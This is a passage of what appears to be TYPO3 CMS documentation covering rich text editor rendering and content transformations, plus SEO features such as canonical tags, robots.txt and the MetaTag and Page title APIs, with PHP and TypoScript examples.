         * Returns RichTextElement as class name if RTE widget should be rendered.
         *
         * @return string|null New class name or void if this resolver does not change current class name.
         */
        public function resolve(): string|null
        {
            $parameterArray = $this->data['parameterArray'];
            $backendUser = $this->getBackendUserAuthentication();
            if (// This field is not read only
                !$parameterArray['fieldConf']['config']['readOnly']
                // If RTE is generally enabled by user settings and RTE object registry can return something valid
                && $backendUser->isRTE()
                // If RTE is enabled for field
                && isset($parameterArray['fieldConf']['config']['enableRichtext'])
                && (bool)$parameterArray['fieldConf']['config']['enableRichtext'] === true
                // If RTE config is found (prepared by TcaText data provider)
                && isset($parameterArray['fieldConf']['config']['richtextConfiguration'])
                && is_array($parameterArray['fieldConf']['config']['richtextConfiguration'])
                // If RTE is not disabled on configuration level
                && !$parameterArray['fieldConf']['config']['richtextConfiguration']['disabled']
            ) {
                return RichTextElement::class;
            }
            return null;
        }
    
        protected function getBackendUserAuthentication(): BackendUserAuthentication
        {
            return $GLOBALS['BE_USER'];
        }
    
        public function setData(array $data): void
        {
            // TODO: Implement setData() method.
        }
    }
    
    Copied!
  • Next step is to implement the RichtTextElement class. You can look up the code of EXT:rte_ckeditor/Classes/Form/Element/RichTextElement.php (GitHub), which does the same for ckeditor. What basically happens in its render() function, is to apply any settings from the fields TCA config and then printing out all of the html markup and javascript necessary for booting up the ckeditor.

Rich Text Editors (RTE) in the TYPO3 frontend

When you add forms to a website you might want to offer formatting options like bold, italic etc.. Rich Text Editors offer extensive options that are configurable for individual needs.

This chapter outlines conceptual and technical information about adding an RTE on frontend pages.

An RTE in the TYPO3 FE

The CKEditor integrated in the frontend

The following list describes features and corresponding implementation effort ordered from simple to complex.

The optional features

  • Simple text formatting can be achieved using well-known buttons. This solution is used to format text (bold, italic, underlined, ...), create lists or tables, etc.. These options are predefined in the RTE and and wrap selected content in html-tags, by default without any attributes like id or class for example.
  • Advanced text-formatting can be achieved with predefined blocks and according style. Those blocks wrap selected content in html-elements with CSS-classes that can be styled in a stylesheet. The formats have to be defined by names, short description and according styling. CKEditor offers a dropdown button for those block-styles.

    Editing the Source could allow the user optionally to add special HTML-elements or attributes like id, class or more.

  • It might be desired to allow users to upload files like images, PDF-documents or other multi-media-content. Images and perhaps some other file-types could be displayed in the content, further file-types could be linked.
  • Editing data in the frontend requires that applying forms are pre-filled with existing data. This might require some considerations concerning multiple aspects.
  • Links might be chosen out of the existing pages of the website, those links can be added as internal instead of external links but require a visual and functional option to select from existing pages.

    This option requires an Ajax-connection to interact with TYPO3.

  • For special websites like intranets it might be desired additionally to not only allow the upload of media but also to choose media out of those that exist already in a public directory on the server.

    This option requires an Ajax-connection to interact with TYPO3.

Technical Overview

Files: Any required files to include a form in the frontend require an extension, this can be a site package but also a separate extension. Required filetypes include JavaScript, Fluid templates, CSS and PHP.

JavaScript: Rendering the content in the RTE in the frontend is done with support of JavaScript, so it does not work if the user has disabled JavaScript, i.e. for accessibility reasons.

Validation: The code that is built on base of the user-input should be filtered. The RTE is doing this based on JavaScript and configuration, and the server shall receive only this pre-processed code when the form is sent. Nevertheless the transferred data have to be validated on server-side again because it's possible to circumvent validation in the frontend by sending the data without filling the real form or just by disabling JavaScript.

The solution

The chapter CKEditor (rte_ckeditor) includes examples and common challenges for the frontend. You can use other editors with TYPO3 and some points, like handling of data on the server, are independent of the distinct editor in the frontend. Therefore the chapter is advised even if you use another editor.

Introduction

Transformation of content between the database and an RTE is needed if the format of the content in the database is different than the format understood by an RTE. A simple example could be that bold-tags in the database <b> should be converted to <strong> tags in the RTE or that references to images in <img> tags in the database should be relative while absolute in the RTE. In such cases a transformation is needed to do the conversion both ways: from database (DB) to RTE and from RTE to DB.

Generally transformations are needed for two reasons:

  • Data Formats: If the agreed format of the stored content in TYPO3 is different from the HTML format the RTE produces. This could be issues like XHTML, banning of certain tags or maybe a hybrid format in the database.
  • RTE specifics: If the RTE has special requirements to the content before it can be edited and if that format is different from what we want to store in the database. For instance an RTE could require a full HTML document with <html>, <head> and <body> - obviously we don't want that in the database and likewise we will have to wrap content in such a dummy-body before it can be edited.

Hybrid modes

Many of the transformations performed back and forth in the TYPO3 backend date back to when it was a challenge to incorporate a RTE in a browser. It was then sometimes needed to fall back to a simple <textarea> where rich text had to be presented in a simple enough way so that editors could work with it with no visual help.

This is what the mode css_transform tries to achieve: maintain a data format that is as human readable as possible while still offering an RTE for editing if applicable.

To know the details of those transformations, please refer to the Transformation overview. Here is a short example of a hybrid mode:

In the database

This is how the content in the database could look for a hybrid mode (such as css_transform):

This is line number 1 with a <a href="t3://page?uid=123">link</a> inside
This is line number 2 with a <b>bold part</b> in the text
<p align="center">This line is centered.</p>
This line is just plain
Copied!

As you can see the TYPO3-specific tag, <a href="t3://page?uid=123"> is used for the link to page 123. This tag is designed to be easy for editors to insert and easy for TYPO3 to parse and understand. The t3:// scheme is later resolved to a real link in the frontend by the The LinkHandler API. Further line 2 shows bold text. In line 3 the situation is that the paragraph should be centered - and there seems to be no other way than wrapping the line in a <p> tag with the "align" attribute. Not so human readable but we can do no better without an RTE. Line 4 is just plain.

Generally this content will be processed before output on a page of course. Typically the rule will be this: "Wrap each line in a <p> tag which is not already wrapped in a <p> tag and run all <a>-tags with TYPO3-specific schemes through a Linkhandler to resolve them to real uris." and thus the final result will be valid HTML.

In RTE

The content in the database can easily be edited as plain text thanks to the "hybrid-mode" used to store the content. But when the content above from the database has to go into the RTE it will not work if every line is not wrapped in a <p> tag! This is what eventually goes into the RTE:

<p>This is line number 1 with a <a href="t3://page?uid=123">link</a> inside</p>
<p>This is line number 2 with a <strong>bold part</strong> in the text</p>
<p align="center">This line is centered.</p>
<p>This line is just plain</p>
Copied!

This process of conversion from one format to the other is what transformations do!

Configuration

Transformations are mainly defined in the 'special configurations' of the $TCA "types"-configuration. See label 'special-configuration' in older versions of the TCA-Reference.

In addition transformations can be fine-tuned by page TSconfig which means that RTE behaviour can be determined even on page branch level!

Where transformations are performed

The transformations you can do with TYPO3 are done in the class \TYPO3\CMS\Core\Html\RteHtmlParser. There is typically a function for each direction; From DB to RTE and from RTE to DB.

The transformations are invoked in two cases:

  • Before content enters the editing form This is done by calling the method \TYPO3\CMS\Core\Html\RteHtmlParser::transformTextForRichTextEditor().
  • Before content is saved in the database This is done by calling the method \TYPO3\CMS\Core\Html\RteHtmlParser::transformTextForPersistence().

The rationale for transformations is discussed in Historical Perspective on RTE Transformations.

Transformation overview

The transformation of the content can be configured by listing which transformation filters to pass it through. The order of the list is the order in which the transformations are performed when saved to the database. The order is reversed when the content is loaded into the RTE again.

Processing can also be overwritten by page TSconfig, see the according section of the page TSconfig reference for details.

Transformation filters

css_transform

css_transform
Scope

RTE Transformation filter

Transforms the HTML markup either for display in the rich-text editor or for saving in the database. The name "css_transform" is historical; earlier TYPO3 versions had a long since removed "ts_transform" mode, which basically only saved a minimum amount of HTML in the database and produced a lot of nowadays outdated markup like <font> tag style rendering in the frontend.

Historical Perspective on RTE Transformations

The next sections describe in more details the necessity of RTE transformations. The text was written at the birth of transformations and might therefore be somewhat old-fashioned. However it checked out generally OK and may help you to further understand why these issues exist. The argumentation is still valid.

Properties and Transformations

The RTE applications typically expect to be fed with content formatted as HTML. In effect an RTE will discard content it doesn't like, for instance fictitious HTML tags and line breaks. Also the HTML content created by the RTE editor is not necessarily as 'clean' as you might like.

The editor has the ability to paste in formatted content copied/cut from other websites (in which case images are included!) or from text processing applications like MS Word or Star Office. This is a great feature and may solve the issue of transferring formatted content from e.g. Word into TYPO3.

However these inherent features - good or bad - raises the issue how to handle content in a field which we do not wish to 'pollute' with unnecessary HTML-junk. One perspective is the fact that we might like to edit the content with Netscape later (for which the RTE cannot be used, see above) and therefore would like it to be 'human readable'. Another perspective is if we might like to use only Bold and Italics but not the alignment options. Although you can configure the editor to display only the bold and italics buttons, this does not prevent users from pasting in HTML-content copied from other websites or from Microsoft Word which does contain tables, images, headlines etc.

The answer to this problem is a so called 'transformation' which you can configure in the $TCA (global, authoritative configuration) and which you may further customize through page TSconfig (local configuration for specific branches of the website). The issue of transformations is best explained by the following example from the table, tt_content (the content elements).

RTE Transformations in Content Elements

The RTE is used in the bodytext field of the content elements, configured for the types "Text" and "Text & Images".

A RTE in the TYPO3 BE

The rtehtmlarea RTE activated in the TYPO3 backend

The configuration of the two 'Text'-types are the same: The toolbar includes only a subset of the total available buttons. The reason is that the text content of these types, 'Text' and 'Text & Images' is traditionally not meant to be filled up with HTML-codes. But more important is the fact that the content is usually (by the standard TypoScript content rendering used on the vast majority of TYPO3 websites!) parsed through a number of routines.

In order to understand this, here is an outline of what typically happens with the content of the two Text-types when rendered by TypoScript for frontend display:

  1. All line breaks are converted to <br /> codes.

    (Doing this enables us to edit the text in the field rather naturally in the backend because line breaks in the edit field comes out as line breaks on the page!)

  2. All instances of 'http://...' and 'mailto:....' are converted to links.

    (This is a quick way to insert links to URLs and email address)

  3. The text is parsed for special tags, so called 'typotags', configured in TypoScript. The default typotags tags are <LINK> (making links), <TYPOLIST> (making bulletlists), <TYPOHEAD> (making headlines) and <TYPOCODE> (making monospaced formatting).

    (The <LINK> tag is used to create links between pages inside TYPO3. Target and additional parameters are automatically added which makes it a very easy way to make sure, links are correct. <TYPOLIST> renders each line between the start and end tag as a line in a bulletlist, formatted like the content element type 'Bulletlist' would be. This would typically result in a bulletlist placed in a table and not using the bullet-list tags from HTML. <TYPOHEAD> would display the tag content as a headline. The type-parameter allows to select between the five default layout types of content element headlines. This might include graphical headers. <TYPOCODE> is not converted).

  4. All other 'tags' found in the content are converted to regular text (with htmlspecialchars) unless the tag is found in the 'allowTags' list.

    (This list includes tags like 'b' (bold) and 'i' (italics) and so these tags may be used and will be outputted. However tags like 'table', 'tr' and 'td' is not in this list by default, so table-html code inserted will be outputted as text and not as a table!)

  5. Constants and search-words - if set - will be highlighted or inserted.

    (This feature will mark up any found search words on the pages if the page is linked to from a search result page.)

  6. And finally the result of this processing may be wrapped in <font>-tags, <p>-tags or whatever is configured. This depends on whether a stylesheet is used or not. If a stylesheet is used the individual sections between the typotags are usually wrapped separately.

Now lets see how this behaviour challenges the use of the RTE. This describes how the situation is handled regarding the two Text-types as mentioned above. (Numbers refer to the previous bulletlist):

  1. Line breaks: The RTE removes all line breaks and makes line breaks itself by either inserting a <P>...</P> section or <DIV>...</DIV>. This means we'll have to convert existing lines to <P>...</P> before passing the content to the RTE and further we need to revert the <DIV> and <P> sections in addition to the <BR>-tagsto line breaks when the content is returned to the database from the RTE.

    The greatest challenge here is however what to do if a <DIV> or <P> tag has parameters like 'class' or 'align'. In that case we can't just discard the tag. So the tag is preserved.

  2. The substitution of http:// and mailto: does not represent any problems here.
  3. "Typotags": The typotags are not real HTML tags so they would be removed by the RTE. Therefore those tags must be converted into something else. This is actually an opportunity and the solution to the problem is that all <LINK>-tags are converted into regular <A>-tags, all <TYPOLIST> tags are converted into <OL> or <UL> sections (ordered/unordered lists, type depends on the type set for the <TYPOLIST> tag!), <TYPOHEAD>-tags are converted to <Hx> tags where the number is determined by the type-parameter set for the <TYPOHEAD>-tag. The align/class-parameter - if set - is also preserved. When the HTML- tags are returned to the database they need to be reverted to the specific typotags.

    Other typotags (non-standard) can be preserved by being converted to a <SPAN>-section and back. This must be configured through Page TSconfig.

    (Update: With "css_styled_content" and the transformation "ts_css" only the <link> typotag is left. The <typolist> and <typohead> tags are obsolete and regular HTML is used instead)

  4. Allowed tags: As not all tags are allowed in the display on the webpage, the RTE should also reflect this situation. The greatest problem is tables which are (currently) not allowed with the Text- types. The reason for this goes back to the philosophy that the field content should be human readable and tables are not very 'readable'.

    (Update: With "css_styled_content" and the transformation "ts_css" tables are allowed)

  5. Constants and search words are no problem.
  6. Global wrapping does not represent a problem either. But this issue is related more closely to the line break-issue in bullet 1.

Finally images inserted are processed very intelligently because the 'magic' type images are automatically post-processed to the correct size and proportions after being changed by the RTE in size.

Also if images are inserted by a copy/paste operation from another website, the image inserted will be automatically transferred to the server when saved.

In addition all URLs for images and links are inserted as absolute URLs and must be converted to relative URLs if they are within the current domain.

Conclusion

These actions are done by so called transformations which are configured in the $TCA. Basically these transformations are admittedly very customized to the default behavior of the TYPO3 frontend. And they are by nature "fragile" constructions because the content is transformed back and forth for each interaction between the RTE and the database and may so be erroneously processed. However they serve to keep the content stored in the database 'clean' and human readable so it may continuously be edited by non-RTE browsers and users. And furthermore it allows us to insert TYPO3-bulletlists and headers (especially graphical headers) visually by the editor while still having TYPO3 controlling the output.

Search engine optimization (SEO)

TYPO3 contains various SEO related functionality out of the box.

The following provides an introduction in those features.

Site title

The site title is basically a variable that describes the current web site. It is used in title tag generation as for example prefix. If your website is called "TYPO3 News" and the current page is called "Latest" the page title will be something like "TYPO3 News: Latest".

The site title can be configured in the sites module and is translatable.

Hreflang Tags

"hreflang" tags are added automatically for multi-language websites based on the one-tree principle.

The href is relative as long as the domain is the same. If the domain differs the href becomes absolute. The x-default href is the first supported language. The value of "hreflang" is the one set in the sites module (see Adding Languages)

Canonical Tags

TYPO3 provides built-in support for the <link rel="canonical" href=""> tag.

If the Core extension EXT:seo is installed, it will automatically add the canonical link to the page.

The canonical link is basically the same absolute link as the link to the current hreflang and is meant to indicate where the original source of the content is. It is a tool to prevent duplicate content penalties.

In the page properties, the canonical link can be overwritten per language. The link wizard offers all possibilities including external links and link handler configurations.

Should an empty href occur when generating the link to overwrite the canonical (this happens e.g. if the selected page is not available in the current language), the fallback to the current hreflang will be activated automatically. This ensures that there is no empty canonical.

XML Sitemap
see XML sitemap
SEO for Developers

TYPO3 provides various APIs for developers to implement further SEO features:

  • The CanonicalApi (see Canonical API) to set dynamic canonical url
  • The MetaTagApi (see MetaTag API) to add dynamic meta tags
  • The PageTitleAPI (see Page title API) to manipulate the page title

General SEO Recommendations for TYPO3 projects

Recommendations for additional SEO extensions

The TYPO3 Core ships the whole API and the needed fields to fulfill all necessary technical requirements of implementing SEO.

Besides that, there are lots of tools you can use to optimize your rankings.

If you install additional SEO extensions in TYPO3, make sure you check the following recommendations:

  • The extension should stick to the Core fields where possible
  • The extension should stick to the Core behaviour where possible
  • The extension could extend TCA with additional helpers for your editors, like:

    • Readability checks
    • Keyword and content checks
    • Previews
    • Page speed insights
    • Large-Language-Model (LLM)-enabled text creation

Some of these tools might need external services, others can work completely on-premise.

Recommendations for the description field

  • Duplicate meta descriptions should only be used under specific circumstances
  • Duplicate meta descriptions should only be used on a few pages
  • Leave the description empty if you do not can provide one
  • Provide an engaging explanation of your page, to ensure people will be motivated to visit your site
  • If SEO is not your thing, professional services are available to support you

Suggested configuration options for improved SEO in TYPO3

The extension typo3/cms-seo offers additional Configuration options, including a site set to create an XML sitemap.

Site configuration

The configuration of sites is done with the Site Management > Sites module.

As the settings for your websites are important for SEO purposes as well, please make sure you check the following fields.

To get more in depth information about the site handling please refer to the Site handling docs.

Entry Point

Please ensure, that you have configured your sites so that they all have an entry point. This is used for properly generating the canonical tags, for example.

Languages

Ensure, that you setup the site languages correctly. All languages should have the right information in the Locale and other language-dependant input fields. When set correctly, TYPO3 will automatically connect your page in the different languages so that search engines understand their relations. This it to ensure that the search engine knows which page to show when someone is searching in a specific language.

See Adding Languages for more details.

Error Handling

Although TYPO3 will respond with a HTTP status code 404 (Not found) when a page is not found, it is best practice to have a proper content telling the user that the page they requested is not available. This can guide them to another page or for example to a search function of your website.

See Error handling for more details.

robots.txt

The robots.txt file is a powerful feature and should be used with care. It will deny or allow search engines to access your pages. By blocking access to your pages, search engines won't crawl these pages. You should make sure that this will not prevent the search engines from finding important pages.

It is best practice to keep your robots.txt as clean as possible. An example of a minimal version of your robots.txt:

# This space intentionally left blank. Only add entries when you know how powerful the robots.txt is.
User-agent: *
Copied!

On Static routes you can find more details on how to create a static route that will show this information when visiting https://www.example.com/robots.txt.

When you want to disallow specific URLs, you can use the Index this page option in the page properties or set the robot HTTP header X-Robots-tag manually.

Static Routes and redirects

Having correct redirects and choosing the appropriate status code is a very important part of SEO.

It is possible to manage redirects via the TYPO3 redirects extension, but it is not the only option and from a performance perspective it may not be the best solution. Please also see Performance in the EXT:redirects documentation.

Tags for SEO purposes in the HTML header

Canonical Tag

Just like the hreflang link-tags, the <link rel="canonical" href="" /> link-tag is also generated automatically. If you have a specific edge case, and you don't want TYPO3 to render the tag, you can disable rendering completely. You can put this line in the ext_localconf.php of an extension and also make sure your extension is loaded after EXT:seo:

unset($GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['TYPO3\CMS\Frontend\Page\PageGenerator']['generateMetaTags']['canonical']);
Copied!

TypoScript examples

This section will provide you with examples on how to configure several behaviours in the frontend.

Influencing the title tag in the HTML head

There are a couple of TypoScript settings that can influence the output regarding SEO.

Setting missing OpenGraph meta tags

Most of the OpenGraph meta tags are rendered automatically when EXT:seo is installed. If you want to add meta tags properties such as og:title, og:description and og:image, you can use TypoScript code like this:

packages/my_site_package/Configuration/Sets/SitePackage/setup.typoscript
page {
  meta {
    og:site_name = YOUR_SITE_NAME
    og:site_name.attribute = property

    og:locale = en_US
    og:locale.attribute = property
    og:locale:alternate {
      attribute = property
      value {
        1 = de_DE
      }
    }
  }
}
Copied!

Setting fallbacks for meta tags

As you can see on TypoScript and PHP the tags are first set by PHP and after that the TypoScript config is handled. As EXT:seo is only adding the meta tags for the SEO and Social media fields (if they are filled in the page properties), you have some possibilities to add fallbacks.

Because EXT:seo is handling the tags in PHP-scope, you are able to add those fallbacks using TypoScript. You can add those tags with TypoScript and those will only be rendered when EXT:seo has not rendered them.

An example to set a fallback description and og:description:

packages/my_site_package/Configuration/Sets/SitePackage/setup.typoscript
page {
  meta {
    description = Your fallback description tag
    og:description = Your fallback OG:description tag
  }
}
Copied!

Setting fallbacks for og:image and twitter:image

If you want to have a fallback og:image or twitter:image, you can use this little snippet.

packages/my_site_package/Configuration/Sets/SitePackage/setup.typoscript
page {
  meta {
    og:image.stdWrap.cObject = TEXT
    og:image.stdWrap.cObject {
      if.isFalse.field = og_image
      stdWrap.typolink {
        parameter.stdWrap.cObject = IMG_RESOURCE
        parameter.stdWrap.cObject.file = EXT:my_site_package/Resources/Public/Backend/OgImage.svg
        returnLast = url
        forceAbsoluteUrl = 1
      }
    }
    twitter:image.stdWrap.cObject = TEXT
    twitter:image.stdWrap.cObject {
      if.isFalse.field = twitter_image
      stdWrap.typolink {
        parameter.stdWrap.cObject = IMG_RESOURCE
        parameter.stdWrap.cObject.file = EXT:my_site_package/Resources/Public/Backend/TwitterCardImage.svg
        returnLast = url
        forceAbsoluteUrl = 1
      }
    }
  }
}
Copied!

More information about the Meta Tag API can be found on:

Setting defaults for the author on meta tags

This example shows how to set a default author based on the Site settings definitions mySitePackage.author

packages/my_site_package/Configuration/Sets/SitePackage/setup.typoscript
page {
  meta {
    author = {$MySitePackage.author}
  }
}
Copied!

The author setting could then be defined as follows:

packages/my_site_package/Configuration/Sets/SitePackage/settings.definitions.yaml
categories:
  MySitePackage:
    label: 'My Site Package'

settings:
  MySitePackage.author:
    label: 'Default Author'
    category: MySitePackage
    description: 'The author that will be used for the meta tag "author" unless otherwise set in the page properties. '
    type: string
    default: 'J. Doe'
Copied!

Canonical API

A brief explanation happens in Search engine optimization (SEO).

In general the system will generate the canonical using the same logic as for cHash.

Including specific arguments for the URL generation

TYPO3 will building a URI of the current page and append query strings which are needed for the cHash calculation (vital arguments to uniquely identify the given content URI). This is especially important with for example detail pages of records. The query parameters are crucial to show the right content.

It is possible to additionally include specific arguments. This is achieved by adding those arguments to the configuration:

EXT:site_package/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['additionalCanonicalizedUrlParameters'][] = 'example_argument_name';
Copied!

It is possible to include nested arguments:

EXT:site_package/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['additionalCanonicalizedUrlParameters'][] = 'example_argument_name[second_level]';
Copied!

Non-vital arguments in general should be excluded from cHash and not be listed as additionalCanonicalizedUrlParameters. See the possible options in Caching regarding excluding arguments from cHash.

The idea behind that is:

If a URL is worth caching (because it has different content) it is worth having a canonical as well.

https://github.com/TYPO3-Documentation/TYPO3CMS-Reference-CoreApi/pull/1326#issuecomment-788741312

Using an event to define the URL

The process will trigger the event ModifyUrlForCanonicalTagEvent which can be used to set the actual URL to use.

MetaTag API

The MetaTag API is available for setting meta tags in a flexible way.

The API uses MetaTagManagers to manage the tags for a "family" of meta tags. The Core e.g. ships an OpenGraph MetaTagManager that is responsible for all OpenGraph tags. In addition to the MetaTagManagers included in the Core, you can also register your own MetaTagManager in the \TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry .

Using the MetaTag API

To use the API, first get the right MetaTagManager for your tag from the MetaTagManagerRegistry. You can use that manager to add your meta tag; see the example below for the og:title meta tag.

use TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry;
use TYPO3\CMS\Core\Utility\GeneralUtility;

$metaTagManager = GeneralUtility::makeInstance(MetaTagManagerRegistry::class)->getManagerForProperty('og:title');
$metaTagManager->addProperty('og:title', 'This is the OG title from a controller');
Copied!

This code will result in a <meta property="og:title" content="This is the OG title from a controller" /> tag in frontend.

If you need to specify sub-properties, e.g. og:image:width, you can use the following code:

use TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry;
use TYPO3\CMS\Core\Utility\GeneralUtility;

$metaTagManager = GeneralUtility::makeInstance(MetaTagManagerRegistry::class)->getManagerForProperty('og:image');
$metaTagManager->addProperty('og:image', '/path/to/image.jpg', ['width' => 400, 'height' => 400]);
Copied!

You can also remove a specific property:

use TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry;
use TYPO3\CMS\Core\Utility\GeneralUtility;

$metaTagManager = GeneralUtility::makeInstance(MetaTagManagerRegistry::class)->getManagerForProperty('og:title');
$metaTagManager->removeProperty('og:title');
Copied!

Or remove all previously set meta tags of a specific manager:

use TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry;
use TYPO3\CMS\Core\Utility\GeneralUtility;

$metaTagManager = GeneralUtility::makeInstance(MetaTagManagerRegistry::class)->getManagerForProperty('og:title');
$metaTagManager->removeAllProperties();
Copied!

Creating Your Own MetaTagManager

If you need to specify the settings and rendering of a specific meta tag (for example when you want to make it possible to have multiple occurrences of a specific tag), you can create your own MetaTagManager. This MetaTagManager must implement \TYPO3\CMS\Core\MetaTag\MetaTagManagerInterface .

To use the manager, you must register it in ext_localconf.php:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use Some\CustomExtension\MetaTag\CustomMetaTagManager;
use TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry;
use TYPO3\CMS\Core\Utility\GeneralUtility;

defined('TYPO3') or die();

$metaTagManagerRegistry = GeneralUtility::makeInstance(MetaTagManagerRegistry::class);
$metaTagManagerRegistry->registerManager(
    'custom',
    CustomMetaTagManager::class,
);
Copied!

Registering a MetaTagManager works with the DependencyOrderingService. So you can also specify the priority of the manager by setting the third (before) and fourth (after) parameter of the method. If you for example want to implement your own OpenGraphMetaTagManager, you can use the following code:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use Some\CustomExtension\MetaTag\MyOpenGraphMetaTagManager;
use TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry;
use TYPO3\CMS\Core\Utility\GeneralUtility;

defined('TYPO3') or die();

$metaTagManagerRegistry = GeneralUtility::makeInstance(MetaTagManagerRegistry::class);
$metaTagManagerRegistry->registerManager(
    'myOwnOpenGraphManager',
    MyOpenGraphMetaTagManager::class,
    ['opengraph'],
);
Copied!

This will result in MyOpenGraphMetaTagManager having a higher priority and it will first check if your own manager can handle the tag before it checks the default manager provided by the Core.

TypoScript and PHP

You can set your meta tags by TypoScript and PHP (for example from plugins). First the meta tags from content (plugins) will be handled. After that the meta tags defined in TypoScript will be handled.

It is possible to override earlier set meta tags by TypoScript if you explicitly say this should happen. Therefore the meta.*.replace option was introduced. It is a boolean flag with these values:

  • 1: The meta tag set by TypoScript will replace earlier set meta tags
  • 0: (default) If the meta tag is not set before, the meta tag will be created. If it is already set, it will ignore the meta tag set by TypoScript.
page.meta {
    og:site_name = TYPO3
    og:site_name.attribute = property
    og:site_name.replace = 1
}
Copied!

When you set the property replace to 1 at the specific tag, the tag will replace tags that are set from plugins.

By using the new API it is not possible to have duplicate metatags, unless this is explicitly allowed. If you use custom meta tags and want to have multiple occurrences of the same meta tag, you have to create your own MetaTagManager.

Page title API

In order to keep setting the page titles in control, you can use the PageTitle API. The API uses page title providers to define the page title based on page record and the content on the page.

Based on the priority of the providers, the \TYPO3\CMS\Core\PageTitle\PageTitleProviderManager will check the providers if a title is given by the provider. It will start with the highest priority and will end with the lowest priority.

By default, the Core ships two providers. If you have installed the system extension SEO, the provider with the (by default) highest priority will be the \TYPO3\CMS\Seo\PageTitle\SeoTitlePageTitleProvider . When an editor has set a value for the SEO title in the page properties of the page, this provider will provide that title to the PageTitleProviderManager. If you have not installed the SEO system extension, the field and provider are not available.

The fallback provider with the lowest priority is the \TYPO3\CMS\Core\PageTitle\RecordPageTitleProvider . When no other title is set by a provider, this provider will return the title of the page.

Besides the providers shipped by the Core, you can add own providers. An integrator can define the priority of the providers for his project.

Create your own page title provider

Extension developers may want to have an own provider for page titles. For example, if you have an extension with records and a detail view, the title of the page record will not be the correct title. To make sure to display the correct page title, you have to create your own page title provider. It is quite easy to create one.

Example: Set the page title from your extension's controller

First, create a PHP class in your extension that implements the \TYPO3\CMS\Core\PageTitle\PageTitleProviderInterface , for example by extending \TYPO3\CMS\Core\PageTitle\AbstractPageTitleProvider . Within this method you can create your own logic to define the correct title.

EXT:my_extension/Classes/PageTitle/MyOwnPageTitleProvider.php
<?php

declare(strict_types=1);

namespace MyVendor\MySitepackage\PageTitle;

use TYPO3\CMS\Core\PageTitle\AbstractPageTitleProvider;

final class MyOwnPageTitleProvider extends AbstractPageTitleProvider
{
    public function setTitle(string $title): void
    {
        $this->title = $title;
    }
}
Copied!

Usage example in an Extbase controller:

EXT:my_extension/Classes/Controller/SomeController.php
<?php

use MyVendor\MySitepackage\PageTitle\MyOwnPageTitleProvider;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class SomeController extends ActionController
{
    public function __construct(
        private readonly MyOwnPageTitleProvider $titleProvider,
    ) {}

    public function someAction(): ResponseInterface
    {
        $this->titleProvider->setTitle('Title from controller action');
        // do something
        return $this->htmlResponse();
    }
}
Copied!

Configure the new page title provider in your TypoScript setup:

EXT:my_sitepackage/Configuration/TypoScript/setup.typoscript
config {
  pageTitleProviders {
    sitepackage {
      provider = MyVendor\MySitepackage\PageTitle\MyOwnPageTitleProvider
      before = record
    }
  }
}
Copied!

Example: Use values from the site configuration in the page title

If you want to use data from the site configuration, for example the site title, you can implement a page title provider as follows:

EXT:my_sitepackage/Classes/PageTitle/WebsiteTitleProvider.php
<?php

declare(strict_types=1);

namespace MyVendor\MySitepackage\PageTitle;

use Psr\Http\Message\ServerRequestInterface;
use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
use TYPO3\CMS\Core\PageTitle\PageTitleProviderInterface;
use TYPO3\CMS\Core\Site\SiteFinder;
use TYPO3\CMS\Frontend\Page\PageInformation;

#[Autoconfigure(public: true)]
final readonly class WebsiteTitleProvider implements PageTitleProviderInterface
{
    private ServerRequestInterface $request;

    public function __construct(
        private SiteFinder $siteFinder,
    ) {}

    public function getTitle(): string
    {
        $site = $this->siteFinder->getSiteByPageId($this->getPageInformation()->getId());
        $titles = [
            $this->getPageInformation()->getPageRecord()['title'] ?? '',
            $site->getAttribute('websiteTitle'),
        ];

        return implode(' - ', $titles);
    }

    public function setRequest(ServerRequestInterface $request): void
    {
        $this->request = $request;
    }

    private function getPageInformation(): PageInformation
    {
        $pageInformation = $this->request->getAttribute('frontend.page.information');
        if (!$pageInformation instanceof PageInformation) {
            throw new \Exception('Current frontend page information not available', 1730098625);
        }
        return $pageInformation;
    }
}
Copied!

Changed in version 13.0

The class must be set to public, because we inject the class SiteFinder as dependency.

Then flush the cache in Admin Tools > Maintenance > Flush TYPO3 and PHP Cache.

Configure the new page title provider to be used in your TypoScript setup:

EXT:my_sitepackage/Configuration/TypoScript/setup.typoscript
config {
  pageTitleProviders {
    sitepackage {
      provider = MyVendor\MySitepackage\PageTitle\WebsiteTitleProvider
      before = record
      after = seo
    }
  }
}
Copied!

The registered page title providers are called after each other in the configured order. The first provider that returns a non-empty value is used, the providers later in the order are ignored.

Therefore our custom provider should be loaded before record, the default provider which always returns a value. If the system extension typo3/cms-seo is loaded the default SEO Title has a particular format, you can change this by loading your custom provider before seo.

Define the priority of PageTitleProviders

The priority of the providers is set by the TypoScript property config.pageTitleProviders. This way an integrator is able to set the priorities for his project and can even have conditions in place.

By default, the Core has the following setup:

config.pageTitleProviders {
    record {
        provider = TYPO3\CMS\Core\PageTitle\RecordPageTitleProvider
    }
}
Copied!

The sorting of the providers is based on the before and after parameters. If you want a provider to be handled before a specific other provider, just set that provider in the before, do the same with after.

If you have installed the system extension SEO, you will also get a second provider. The configuration will be:

config.pageTitleProviders {
    record {
        provider = TYPO3\CMS\Core\PageTitle\RecordPageTitleProvider
    }
    seo {
        provider = TYPO3\CMS\Seo\PageTitle\SeoTitlePageTitleProvider
        before = record
    }
}
Copied!

First the SeoTitlePageTitleProvider (because it will be handled before record) and, if this providers did not provide a title, the RecordPageTitleProvider will be checked.

You can override these settings within your own installation. You can add as many providers as you want. Be aware that if a provider returns a non-empty value, all provider with a lower priority will not be checked.

XML sitemap

It is possible to generate XML sitemaps for SEO purposes without using 3rd party plugins. When this feature is enabled, a sitemap index file is created with one or more sitemaps in it. By default, there will be one sitemap that contains all pages of the current site and language. You can render different sitemaps for each site and language.

Installation

